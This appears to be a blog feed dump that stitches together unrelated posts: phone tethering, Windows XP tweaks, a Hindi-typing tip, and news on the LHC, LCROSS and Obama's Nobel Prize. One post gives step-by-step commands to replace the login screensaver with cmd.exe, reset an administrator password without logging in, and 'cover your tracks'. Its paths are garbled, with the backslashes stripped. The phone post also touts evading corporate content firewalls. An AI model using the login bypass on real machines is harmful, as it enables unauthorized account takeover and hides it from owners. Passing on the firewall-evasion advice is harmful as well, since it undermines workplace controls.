			<content:encoded><![CDATA[<p>Sony Ericsson Users can now access all mobile internet services free of cost using your  Broadband connection.</p>
<p>My model Sony Ericsson w700i must use TCP/IP for its data connection. I thought, why not make a TCP/IP connection to my local area LAN and surf the Internet through my broadband? The first thing i can do is to ask google. I have come across the Sony Ericsson SDK which offers me such features. I have finally found out how to make it.</p>
<p>Required Stuff:</p>
<p>1. Sony Ericsson Compatible Model (That support GPRS, USB/Bluetooth Connectivity, MIDP 2.0, CLDC 1.0+)</p>
<p>MIDP 1.0 and CLDC 1.04:</p>
<p>P800 series, T610 series, T630 series,  Z600 series</p>
<p>MIDP 2.0 and CLDC 1.0 HI:</p>
<p>P900/P910 series</p>
<p>MIDP  2.0 and CLDC 1.1:</p>
<p>S700/S710 series, V800, F500i, J300 series, K300 series, K310 series, K500 series, K510 series, K600 series, K610 series (Java Platform 7) , K700 series, K790 series (Java Platform 7) , K750 series, K800 series (Java Platform 7) , P900, P910, P990</p>
<p>M600, W300 series, W550 series, W600 series, W700 series, W710 series (Java Platform 7) , W800 series, W810 series, W850 series (Java Platform 7), W900 series, W950 series, Z520 series,. Z530 series, Z550 series, Z710 series (Java Platform 7), Z800 series, Z525, Z500a, Z1010</p>
<p>2. Necessary Software</p>
<p>1. <a href="http://java.sun.com/j2se/1.4.2/download.html">The J2SE Software Development Kit (SDK)</a></p>
<p>2. <a href="http://developer.sonyericsson.com/getDocument.do?docId=65255">Sony Ericsson SDK</a></p>
<p>3. <a href="http://www.operamini.com/download/">Opera Mini</a></p>
<p>Installation Procedure</p>
<ol>
<li>First install <strong>JAVA JDK</strong> and then <strong>SONY ERICSSON SDK</strong>. Downloading  these two things would be a little problem for dial-up users but there is no other choice.</li>
<li>Connect your mobile to PC via <strong>bluetooth or USB</strong>.</li>
<li>When the Sonyericsson SDK installed successfully, you should find a Connection  Proxy icon on your system tray, otherwise <strong>Click Start &gt; Programs &gt; Sony  Ericsson &gt; J2ME SDK &gt; ConnectionProxy</strong> to start the connection proxy  which while active will show its status on the system tray.</li>
<li>Click on Settings icon (Gear). Select correct COM port for your connection.  Choosing <strong>correct COM port</strong> would not be a big task. Open your device manager and you will find the com ports for your mobile USB/Bluetooth connection. Choose the lowest COM port apart from the COM ports that are attached to your system. Choose the <strong>BaudRate</strong> as 115200.</li>
<li>Now click Connect. You should see your mobile pic on the connection proxy saying  that it is connected.</li>
<li>Open Sony Ericsson <strong>Device Explorer</strong>.<br />
Click <strong>Start &gt; Program &gt;  Sony Ericsson &gt; J2ME SDK &gt; Device Explorer</strong>. You should see that the software is negotiating a connection with your mobile, and when successful, it will display a list of applications installed. In my case it displayed all the games installed in my W700 games folder.Important Note : If anyone faces error at this particular step saying “Malformed Response…… …. ” then it is due to some error in parsing the characters in the installed games. Delete games one by one in your games folder and Refresh the Device Explorer. It should work at some time..</li>
<li>On your Sony Ericsson mobile, create a new data account.<br />
For that, <strong>Go to  Connectivity &gt; Data comm. &gt; Data accounts &gt; New  account</strong>.<br />
<strong>Account type:</strong> GPRS data<br />
<strong>Name:</strong> Anything you  want. Leave APN, Username and Password empty.</li>
<li>Go to <strong>Connectivity &gt; Internet setting &gt; Internet profiles &gt; New  profile</strong><br />
Name: anything you want<br />
Connect using: select the account you  just added in the above step</li>
<li>Still in Internet profiles window, highlight the profile you going to use and  press More and select Settings.<br />
In this window:<br />
<strong>Connect using:</strong> the  new data account you just added<br />
<strong>Internet Mode:</strong> Http (already  there)<br />
<strong>Use Proxy:</strong> No<br />
<strong>Username and Password: </strong>empty</li>
<li>Press Save to save this profile.Note: For broadband users under Corporate LAN, The settings are different. Use this profile settings.here.. Note the following…<br />
<em>My IP address  in LAN : 172.16.5.111<br />
DNS Address : 172.24.2.71<br />
Proxy server Address :  172.30.3.3</em>create a data account named “broadband”<br />
ip address :  172.16.5.111<br />
dns address : 172.24.2.71</p>
<p>create an internet profile  named ” broadband”<br />
internet mode : http<br />
use proxy : yes<br />
proxy address:  172.30.3.3<br />
port : 8080</p>
<p>streaming settings :<br />
connect using :  broadband<br />
use proxy : yes<br />
proxy address: 172.16.5.111<br />
port number :  6082</li>
<li><strong>Opera Mini Installation</strong>Default browser that comes with sony ericsson mobile just not mean to be used with this type of connection. You need to download other browser to be installed. Download the compatible version of opera for your model from its official site. You must download both jar and jad files. This is a quick download since the file is quite small. Now you can install Opera Mini browser by just rightclicking the JAD File you just downloaded and select “Install on Device”.<br />
When installation is successful, highlight the Opera Mini in the Device Explorer and click on “Play button”, or right click and select Start to launch the Opera Mini on your mobile.Note : Launching Opera Mini by using the phone itself  will not work.</li>
<li>Now, If you are using Opera 3.0, it tests for network connection before opening the browser. If the connection test fails, check your settings once again. Restart your phone and try again. If everything is correct, i would suggest you to download opera mini 2.0. and proceed with the same steps above. Search google or download it from <a href="http://sridatta.110mb.com/software/operamini2.0.jar" target="_blank">here</a> ( Copy it to your phone and install from the phone since  i cannot upload a jad file in my hosting site.)</li>
<li>Enter any URL in your mobile and you are done if you are able to see that site  on your mobile..Note: Please do not expect that you will be succeeded in the first trial. There is every possiblity that you may miss small things. I have spent one complete day for the connection and then succeded.</li>
</ol>
<p><strong>Some Points to note:<br />
</strong></p>
<ol>
<li>Make sure “Serial Networking” is checked in  device explorer.</li>
<li>Connection proxy is connected</li>
<li>Device explorer shows  all the applications(games) installed on your mobile. If not, try restarting  your device explorer.</li>
<li>If every setting is correct and still you are not  able to connect to internet, restart your mobile</li>
<li>Use Opera mini 2.0  Advanced instead of latest version if you are not able to connect using it.</li>
</ol>
<p>Why the hell am i doing this:</p>
<p>This post may seem a bit odd to you because who want to use internet in a cell phone if they have a broadband connection? Well.. here are a few applications for this.</p>
<p>1. You can access <strong>wap sites </strong>through your mobile.<br />
2. In corporate  offices with content based firewalls, this method provides <strong>anonymity</strong> to  the users. (I cannot access orkut.com through PC, but i can do using my mobile <img src="http://s.wordpress.com/wp-includes/images/smilies/icon_wink.gif" alt=";)" /> )<br />
3. Browse by staying away from your computer (Bluetooth <img src="http://s.wordpress.com/wp-includes/images/smilies/icon_biggrin.gif" alt=":D" /> )<br />
4. You can also learn several features of SE SDK. I had never known before that an emulator in PC exists for my mobile.</p>

			<content:encoded><![CDATA[<div>
<div>
<p>This is an eyecatching tweak for guys who would like to have some Hindi text in their signatures or who would like to scrap wishes in hindi. If you wanna type a message in Telugu/Hindi or some other desired language.. Here is the way!! <em>No third party software is needed</em>. This is all stuff to do with Microsoft word. Lemme demonstrate how to get text in Hindi.</p>
<p>Open <strong>Microsoft word </strong>and select <strong>Symbol</strong> in insert menu. Select font as <strong>Mangal</strong> and subset as <strong>Devanagiri</strong>. Here u find all the characters that are required to type any alphabet.</p>
<p>Suppose if you want to type “अपुन अच्छा लडका है” Insert the following symbols in the order. Neglect + and signs. I just placed it for seperation.</p>
<p>अ + प + ु +न  अ + च + ् + छ + ा + ल + ड + क + ा   ह +  ै</p>
<p>While typing the characters, you will observe that the related characters merge themselves. After typing the required message, just copy and paste the characters wherever you want. Soon after u paste the message.. u may notice blank squares appearing instead of message (in Googletalk window for example).. Dont worry.. The tweak works after you save it/send it.</p>
<p>If u wanna have ur profile name of Orkut in Hindi… U can do the similar thing… Just type the text in microsoft word. Edit your profile and paste the text there… You can also send the messages in Google Talk or Yahoo IMs.</p>
<p>Similarly.. use Gautami font for Telugu and Tunga font for Kannada. You should download Unicode fonts for other languages to enable this feature…</p>
<p>There are editors available which will do the same work for you. But, for small messages, this is useful. You can also use character map in Windows System tools for the same.</p>

<p>Try out creating a folder named CON…</p>
<p>Not only CON, we cannot create any of these CON, PRN, AUX, CLOCK$, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, LPT9 and more</p>
<p>The reason is that con, prn, lpt1..lpt9, etc are underlying devices from the time dos was written. so if u r allowed to create such folders, there will be an ambiguity in where to write data when the data is supposed to go to the specified devices. In other words, if i want to print something, internally what windows does is — it will write the data to the folder prn (virtually u can call it a folder, i mean prn, con, etc are virtual folders in device level). So if we are able to create con folder, windows will get confused where to write the data, to virtual con folder or real one.</p>
<p>So Now, Try this…</p>
<p>Open the Command prompt by <strong>Start </strong>-&gt;<strong> Run</strong> and typing <strong>cmd</strong></p>
<pre>C:\&gt; md \\.\c:\con</pre>
<p>Now, Open <strong>My Computer</strong> and browse through the path where you created CON folder… Surprising.. ?? Yeah.. you have created it successfully</p>
<p>Now, try to delete the folder from My computer</p>
<p>OOPS!!! You cant delete it…</p>
<p dir="ltr">Now, try this in command prompt console</p>
<pre>C:\&gt; rd \\.\c:\con</pre>
<p>Yeah!! You did it…</p>
<p>It is just because of the UNC Path (<a href="http://en.wikipedia.org/wiki/Universal_Naming_Convention%29" target="_blank">http://en.wikipedia.org/wiki/Univers…ng_Convention)</a>. The Universal Naming Convention, or UNC, specifies a common syntax to describe the location of a network resource, such as a shared file, directory, or printer.Since, these conventions did n’t exist under pure DOS, they are not backward compatible. The UNC syntax for Windows systems is as follows..</p>
<p><span style="color:#0000ff;"><em>\\RemoteHost\sharedfolder\resource</em></span></p>
<p>where RemoteHost is the computer name / IP address of the computer that you wish to connect through remotely for accessing shared folder. The rest is the path.</p>
<p>(Here \\remotehost\drive:\con doesn’t make sense anyway, because without having a process on the remote host, there is no current ‘console’). It would be a security hazard as well, having the serial and parallel ports accessible for everyone who is allowed to read or write in any single directory.</p>
<p>The “<strong>.</strong>” in the command <strong>\\.\c:\con</strong> suggest the local server. Now, you are pointing to your own computer. since, you have all privilages on every folder of ur computer, you can easily create it.</p>

<p>Most of u may know this trick already, but.. for ppl who donno this.. its really a gud tip..</p>
<p>What if we want to chat with some one simultaneously watching movie? Opening a movie in window is quite irksome.. So, how about making the video as wallpaper?? Just try out…</p>
<p>For this, you need <strong>VLC player</strong>. It is a highly portable multimedia player for various audio and video formats. (MPEG-1, MPEG-2, MPEG-4, DivX, mp3, ogg, h264, xvid etc…) .If you are having a hard time playing videos, VLC media player will more than likely will solve your issue.Download it from <a href="http://www.afreecodec.com/get/144/1" target="_blank">here</a></p>
<p>Now, Play any movie in VLC player, <strong>Right click</strong> on the screen and select <strong>Wallpaper</strong>. Minimize the screen.. Thats it… you can do anything in parellel watching the movie…</p>
<p><a href="http://imageshack.us/" target="_blank"><img src="http://img148.imageshack.us/img148/1707/picture1ff7.jpg" border="0" alt="" /></a></p>
<p>You can also find this option in BS Player.</p>

			<content:encoded><![CDATA[<p>It has cost £4.4billion and is designed to unlock the secrets of the Big Bang.</p>
<p>But rather than providing vital information about the beginning of life, the world&#8217;s biggest experiment could cause the end of the world, say scientists.</p>
<p>They fear that the Large Hadron Collider  -  due to be switched on in nine days&#8217; time  -  will create a black hole that could swallow the planet.</p>
<p><img src="http://i.dailymail.co.uk/i/pix/2008/08/31/article-1051070-05BC11000000044D-875_468x318.jpg" alt="large hadron collider" width="468" height="318" /></p>
<p>The Large Hadron Collider smashes particles together at nearly the speed of light</p>
<p>By smashing sub-atomic particles together at close to the speed of light, the LHC aims to recreate the conditions that existed a fraction of a second after the birth of the universe or Big Bang, shedding light on the building blocks of life.</p>
<p>But critics claim that the &#8216;time machine&#8217;, which has been built 300ft beneath the French-Swiss border near Geneva, could instead spawn a shower of mini-black holes.</p>
<p>Within four years, one of these &#8216;celestial vacuums&#8217; could have swollen to such a size that it is capable of sucking the Earth inside-out, said Otto Rossler, one of a group of scientists mounting a last-minute court challenge to the project.</p>
<p>They claim the experiment violates the right to life under the European Convention of Human Rights. However, the case at the European Court of Human Rights is not expected to delay the switch on, scheduled for Wednesday of next week.</p>
<p>Professor Rossler, a German chemist, said the European Organisation for Nuclear Research, or CERN, has admitted its project will create black holes but doesn&#8217;t consider them to be a risk.</p>
<p><img src="http://i.dailymail.co.uk/i/pix/2008/09/01/article-1051070-01AFBD460000044D-887_468x327.jpg" alt=" big bang" width="468" height="327" /></p>
<p>Artist&#8217;s impression of the Big Bang, the titanic explosion which cosmologists believe created the Universe about 15 billion years ago.</p>
<p>He warned: &#8216;My own calculations have shown it is quite plausible that these little black holes survive and will grow exponentially and eat the planet from the inside. I have been calling for CERN to hold a safety conference to prove my conclusions wrong but they have not been willing.&#8217;</p>
<p>Those involved in the project have dismissed the claims as &#8216;absurd&#8217; and insist that extensive safety assessments have found the experiment, which is funded by 20 countries, including the UK, to be safe.</p>
<p>A report written earlier this year stated: &#8216;Over the past billions of years, nature has already generated on Earth as many collisions as about a million LHC experiments  -  and the planet still exists.&#8217;</p>
<p>The lifespan of any mini-black holes would be &#8216;very short&#8217;, it added.</p>
<p><img src="http://i.dailymail.co.uk/i/pix/2008/08/31/article-1051070-00570A6100000258-337_468x286.jpg" alt="black hole" width="468" height="286" /></p>
<p>Critics say the LHC could create a black hole which expands until it swallows the Earth</p>
<p>CERN spokesman James Gillies said the arguments before the European Court of Human Rights had been answered in &#8216;extensive safety assessments&#8217;.</p>
<p>He told the Sunday Telegraph: &#8216;The Large Hadron Collider will not be producing anything that does not happen routinely in nature due to cosmic rays. If they were dangerous we would know about it already.&#8217;</p>
<p>Scientists have used large particle colliders to smash atoms and pieces of atoms together for 30 years, but this machine has attracted so much attention because it is the most powerful ever built.</p>
<p>In the LHC beams of protons will be propelled through an 18-mile-long circular tunnel. More than 5,000 magnets lining the tunnel will accelerate the hundreds of billions of tiny particles to almost the speed of light, allowing them to complete one circuit in one-11,000th of a second.</p>
<p>There will be two beams going in opposite directions, each packing as much energy as a car travelling at 100mph.</p>
<p>When they reach almost the speed of light, they will be smashed head on into each other, breaking them into their constituent parts, including, perhaps, the building blocks of the universe.</p>

			<content:encoded><![CDATA[<p><strong><em>Set                              Processes Priority</em></strong></p>
<p>Follow this tip to increase the priority of active processes, this will result in prioritisation of processes using the CPU.</p>
<p>CTRL-SHIFT-ESC</p>
<p>1.Go to the second tab called Processes, right click on one of the active processes, you will see the Set Priority option<br />
2.For example, your Run your CDwriter program , set the priority higher, and guess what, no crashed CD’s</p>
<p><strong><em>Shutdown Trick !</em></strong></p>
<p>Imidiate rapid shut down window<br />
while shutting down window. open task manager(Ctr+Alt+Del),<br />
Select shut down tab. and press &#8216; Ctrl &#8216; key while select Turn Off from dis tab.<br />
Count 5 4 3 2 1 Voila!!! U r window will rapidly shut down.</p>
<p><strong><span style="text-decoration:underline;">Speed Up Ur Shut down !!</span></strong></p>
<p>Start Regedit.<br />
Navigate to HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control.<br />
Click on the &#8220;Control&#8221; Folder.<br />
Select &#8220;WaitToKillServiceTimeout&#8221;<br />
Right click on it and select Modify.<br />
Set it a value lower than 2000 (Mine is set to 200).</p>
<p>and !</p>
<p>Like previous versions of windows, it takes long time to restart or shutdown windows xp when the &#8220;Exit Windows&#8221; sound is enabled. to solve this problem you<br />
must disable this useless sound. click start button then go to settings -&gt; control panel -&gt; Sound,Speech and Audio devices -&gt; Sounds and Audio Devices -&gt; Sounds, then under program events and windows menu click on &#8220;Exit Windows&#8221; sub-menu and highlight it.now from sounds you can select,choose &#8220;none&#8221; and then click apply and ok. now you can see some improvements when shutting down your system.</p>
<p><strong>Hide ur folders.. never known trick <em>!!!!!!!!!!</em> Disguise them to &#8220;Recycle Bin&#8221;</strong></p>
<p>Rename any folder with extension {645FF040-5081-101B-9F08-00AA002F954E}<br />
eg,<br />
if u&#8217;ve a folder games<br />
press F2,<br />
then type, &#8220;games.{645FF040-5081-101B-9F08-00AA002F954E}&#8221;<br />
c the magic&#8230;.<br />
then 2 get to original form,<br />
remove the extension using<br />
&#8220;ren games.{645FF040-5081-101B-9F08-00AA002F954E} games&#8221; in dos or as a bat file</p>
<p>n u are done..</p>
<p><strong>System information</strong></p>
<p>system up time only for xp professional edition<br />
It boasts how long it can stay up. Whereas previous<br />
versions of Windows were coy about how long they went<br />
between boots, XP is positively proud of its stamina.<br />
Go to the Command Prompt in the Accessories menu from<br />
the All Programs start button option, and then type<br />
&#8216;systeminfo&#8217;. The computer will produce a lot of<br />
useful info, including the uptime. If you want to keep<br />
these, type &#8216;systeminfo &gt; info.txt&#8217;. This creates a<br />
file called info.txt you can look at later with<br />
Notepad. (Professional Edition only).</p>
<p><strong>lock pc just by double clicking mouse</strong></p>
<p>You can lock your XP workstation with two clicks of<br />
the mouse. Create a new shortcut on your desktop using<br />
a right mouse click, and enter &#8216;rundll32.exe<br />
user32.dll,LockWorkStation&#8217; in the location field.<br />
Give the shortcut a name you like. That&#8217;s it &#8212; just<br />
double click on it and your computer will be locked.<br />
And if that&#8217;s not easy enough, Windows key + L will do<br />
the same.</p>
<p><strong>SPEED UP UR ACROBAT READER (ALMOST LIKE NOTEPAD)</strong></p>
<p>Do u get irritated when acrobat reader takes 5/10 seconds to load when you want to open a pdf document. There is a way to speed up the loading.</p>
<p>1. Go to the installation folder of acrobat reader<br />
(C:\program files\adobe\acrobat\reader\.. whatever)</p>
<p>2. Move all the files and folders from the &#8220;plugins&#8221; directory to the &#8220;Optional&#8221; directory. (I repeat.. cut and paste the files NOT copy &amp; paste).</p>
<p>Also make sure that acrobat reader is not open else it will lock the files and not allow you to move the files).</p>
<p>Now your acrobat reader will load very fast<br />
and almost as good as notepad..</p>
<p><strong><em>Remove Stored username and Passwords !</em></strong></p>
<p>To remove the Stored User Names and Passwords from your system, try this:<br />
Click Start, Run and type Control keymgr.dll<br />
Remove the entries from the list.<br />
The other ways to access this dialog are:<br />
Type Control Userpasswords2 in RUN box, click Advanced, Manage Passwords<br />
-or-<br />
From Control Panel, select your User Account, click Manage your network passwords</p>
<p><strong><em>Remove the Username and picture from Windows XP New Start Menu</em></strong></p>
<p>The User account picture can be removed by turning off the Welcome Screen. Or, by switching to Windows Classic theme. Follow the method described in this article if you want to remove the username and picture from the Start Menu, without disabling the Welcome Screen and Windows XP Theme.</p>
<p>For those who want to remove the user name and user account picture from Start Menu, in order to have a blank blue panel at the top, try this:<br />
Start Windows Explorer and go to this folder:</p>
<p>C:\Documents and Settings\All Users\Application Data\Microsoft\User Account Pictures</p>
<p>From that folder, rename the BMP file which corresponds to your user account.<br />
( For example, if your username is Robert, rename Robert.bmp to old_Robert.bmp )<br />
Next, rename the following folder:</p>
<p>C:\Documents and Settings\All Users\Application Data\Microsoft\User Account Pictures\Default Pictures</p>
<p>to something else, say&#8230;</p>
<p>C:\Documents and Settings\All Users\Application Data\Microsoft\User Account Pictures\No_Default Pictures<br />
To remove the user name, follow these steps</p>
<p>Start regedit.exe and navigate to the this key:</p>
<p>HKEY_CURRENT_USER \ Software \ Microsoft\ Windows \ CurrentVersion \ Policies \ Explorer<br />
In the right-pane, set NoUserNameInStartMenu value-data to 1</p>
<p>Close Regedit.exe and restart Windows.</p>
<p>You&#8217;ll end up with a blue space at the top of the Start Menu.</p>
<p>To get back the username and the picture, reverse the above procedure.</p>
<p>For the New Start Menu, Windows XP looks for the &lt;username&gt;.bmp file in the folder</p>
<p>C:\Documents and Settings\All Users\Application Data\Microsoft\User Account Pictures</p>
<p>If the file is not found, it takes a picture from the &#8220;Default Pictures&#8221; sub-folder. By renaming the &lt;username&gt;.bmp and the &#8220;Default Pictures&#8221; folder, you&#8217;re giving no chance for Windows to fetch an image for the Start Menu</p>
<p><em><strong>Notepad Trick !</strong><br />

<p><strong>log trick !! make ur Notepad a diary !!</strong></p>
<p>Sometimes we want to insert current data and time, whenever we open the file in the notepad. If you are a lazy person like me, who don’t like to press F5 whenever you open a notepad. Then here is a trick to avoid this. Just add a .LOG in the first line of your text file and close it.<br />
Whenever you open the file with that text in the first line in the notepad, it will insert the current date and time at the end of the file. You can start entering your text after that.</p>
<p>WHY?</p>
<p>The reason this happens:</p>
<p>In notepad, any other 4-3-3-5 letter word combo will have the same results.<br />
It is all to do with a limitation in Windows. Text files containing Unicode UTF-16-encoded Unicode are supposed to start with a &#8220;Byte-Order Mark&#8221; (BOM), which is a two-byte flag that tells a reader how the following UTF-16 data is encoded.</p>
<p>1) You are saving to 8-bit Extended ASCII (Look at the Save As / Encoding format)<br />
2) You are reading from 16-bit UNICODE (You guessed it, look at the Save As / Encoding format)<br />
This is why the 18 8-bit characters are being displayed as 9 (obviously not supported by your codepage) 16-bit UNICODE characters</p>
<p><strong><em>SPEED UP MENU DISPLAY.!!</em></strong></p>
<p>When using the start menu the you will notice a delay between different tiers of the menu hierarchy. For the fastest computer experience possible I recommend changing this value to zero. This will allow the different tiers to appear instantly.</p>
<p>Start Regedit. If you are unfamiliar with regedit please refer to our FAQ on how to get started.</p>
<p>Navigate to HKEY_CURRENT_USER\Control Panel\Desktop<br />
Select MenuShowDelay from the list on the right.</p>
<p>Right on it and select Modify.<br />
Change the value to 0.<br />
Reboot your computer.</p>
<p><strong><em>CLICKING * .AVI FILES ON EXPLORER CAUSING 100% CPU USAGE.!!</em></strong></p>
<p>Well windows seem to have a REALLY big problem when it comes to reading AVI files. It seems that when you click on an AVI file in explorer, it&#8217;ll try to read the entire AVI file to determine the width,height, etc. of the AVI file (this is displayed in the Properties window). Now the problem with Windows is that if you have a broken/not fully downloaded AVI file that doesnt contain this info, Windows will scan the entire AVI file trying to figure out all these properties which in the process will probably cause 100% CPU usage and heavy memory usage. To solve this problem all you have to do is the following:<br />
1. Open up regedit<br />
2. Goto HKEY_CLASSES_ROOT\SystemFileAssociations\.avi\shellex\PropertyHandler<br />
3. Delete the &#8220;Default&#8221; value which should be &#8220;{87D62D94-71B3-4b9a-9489-5FE6850DC73E}&#8221;<br />
Voila! Please not that this will no longer provide you with the windows properties displaying the AVI file information such as width, height, bitrate etc. But its a small price to pay for saving you resources.<br />
NOTE: Please use caution when using regedit. Improper usage may cause windows to behave imcorrectly. Also, I cannot be held resposible. Backup your registry first.</p>
<p><strong><em>CD ROM STOPS AUTOPLAYING/AUTORUN.!!</em></strong></p>
<p>And the AutoPlay Tab has disappeared in My Computer, Devices With Removable Storage, Right Click on CDROM, Properties.<br />
Solution: The service: &#8220;Shell Hardware Detection&#8221; has been set to Manual or Disabled. Go to Control Panel, Administrative Tools, Services. Return this service to &#8220;Automatic&#8221;.</p>
<p><em> <strong>How to make your Desktop Icons Transparent</strong></em></p>

<p>Start regedit, if you are unfamiliar with regedit please see our FAQ.<br />
Navigate to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon<br />
Modify the key legalnoticecaption with what you want to name the window.<br />
Modify the key legalnoticetext with what you want the window to say. Restart</p>

Next select -&gt; Computer Configuration/Administrative Templates/Windows Components/Terminal Services/Temporary Folder<br />
Then right click &#8220;Do Not Delete Temp Folder Upon Exit&#8221;<br />
Go to properties and hit disable. Now next time Windows puts a temp file in that folder it will automatically delete it when its done! Note from Forum Admin: Remember, GPEDIT (Group Policy Editor) is only available in XP Pro.</p>

			<content:encoded><![CDATA[<p>STRONOMERS and space enthusiasts around the world watched as Nasa sent a rocket and a probe into the lunar surface this afternoon. The ambitious project was set up to look for frozen water at the polar caps of the Moon.<br />
The 2.2tonne rocket that launched the Lunar Crater Observation and Sensing Satellite (LCROSS) collided with the Moon at 12.31pm, creating ‘a dimple’ a third the size of a football pitch.</p>
<span style="text-align:center; display: block;"><a href="http://daanand.wordpress.com/2009/10/11/nasa-bombs-moon-creating-new-dimple/"><img src="http://img.youtube.com/vi/RmQdCQ-RtYQ/2.jpg" alt="" /></a></span>
<p>The LCROSS probe followed four minutes later. It detected the heat signature from the first crash but no ‘flash’ or plume was immediately evident. Scientists had expected 350 tonnes of material to be propelled six miles high into the sunlight. The probe searched for ice and water, sending the data back to Earth, before colliding with the surface itself. Scientists reported all the instruments on board LCROSS were operating nominally (as expected), after powering up the payload at 11.45am (BST).<br />
The probe and rocket had separated on schedule in the early hours of this morning. LCROSS then tweeted on its Twitter page: ‘Good bye Centaur. Thanks for an interesting ride. Now go do good work &amp; kick up some dirt!’<br />
The probe then applied its ‘brakes’ by burning fuel for just over four minutes. They both headed to a crater in the Cabeus region near the Moon’s South Pole. Sunlight never reaches the deep craters in this region. The event was watched by amateur astronomers across the United States, where it is still dark. They needed a minimum of a 10in telescope to view an expected six-mile high plume thrown up from the initial impact.<br />
‘The initial explosions will probably be hidden behind crater walls, but the plumes will rise high enough above the crater’s rim to be seen from Earth,’ said Brian Day, the Outreach Officer on LCROSS.<br />
‘This is a wonderful opportunity for citizen scientists to join Nasa in the process of discovery.’ ‘If there’s water there, or anything else interesting, we’ll find it,’ says Tony Colaprete, the mission’s principal investigator.</p>

			<content:encoded><![CDATA[<p>This is a cool little trick I’ve picked up in my travels and decided to share it with you.</p>
<p>Log in and go to your DOS command prompt and enter these commands exactly:</p>
<p>cd<br />
cdwindowssystem32<br />
mkdir temphack<br />
copy logon.scr temphacklogon.scr<br />
copy cmd.exe temphackcmd.exe<br />
del logon.scr<br />
rename cmd.exe logon.scr<br />
exit</p>
<p>So what you just told windows to backup is the command program and the screen saver file. Then you edited the settings so when windows loads the screen saver, you will get an unprotected dos prompt without logging in. When this appears enter this command that’s in parenthesis (net user password). So if the admin user name is Doug and you want the password 1234 then you would enter “net user Doug 1234″ and now you’ve changed the admin password to 1234. Log in, do what you want to do, copy the contents of temphack back into system32 to cover your tracks.</p>

			<content:encoded><![CDATA[<p>Aanand congratulates President Barack Obama for winning the Nobel Peace Prize and urged him to keep pushing for Middle East peace, viewing the prize as an international expression of confidence in his policy of engagement, negotiations and multilateralism, particularly in the Middle East.</p>
<p style="text-align:center;"><img class="alignleft size-full wp-image-13" title="Nobel Committee Chairman with Picture of President Obama 186x140" src="http://daanand.files.wordpress.com/2009/10/nobel-committee-chairman-with-picture-of-president-obama-186x140.jpg" alt="Nobel Committee Chairman with Picture of President Obama 186x140" width="186" height="140" /></p>
<p style="text-align:center;">

<p style="text-align:center;">
<p style="text-align:left;"><span style="font-size:.8em;">Picture: Chairman of the Nobel Peace Prize committee Thorbjorn Jagholds a picture of President Obama. </span></p>
<p style="text-align:left;">Only nine months into his presidency, the President is recognized internationally as a visionary peacemaker. Nobody expected these nine months to give birth to Middle East peace, but Obama&#8217;s resolute push for an Israeli-Palestinian two-state solution is the best hope in many years for Israelis and Palestinians who so much yearn for, and so much deserve, lasting peace with security.</p>
<p style="text-align:left;">We very much hope that the president and his administration will view this prize as an international deposit of sorts, an expression of the international community&#8217;s desire for Middle East peace, an articulation of confidence in Obama&#8217;s policy of diplomacy and negotiations, and an endorsement of his historic efforts to engage with Iran. Hopefully, this global expression of confidence in Obama&#8217;s approach will reinforce his administration&#8217;s efforts to bring peace to Israel and her neighbors. Hopefully, it will also urge others &#8211; Israelis, Palestinians, and all stakeholders in this conflict &#8211; to take advantage of this president&#8217;s can-do attitude toward Mideast peace.</p>
<p style="text-align:left;">This gesture is not just a recognition of Obama&#8217;s leadership. It is also an important signal to the parties to the conflict to immediately launch peace negotiations, in earnest, and bring them to a successful fruition.</p>
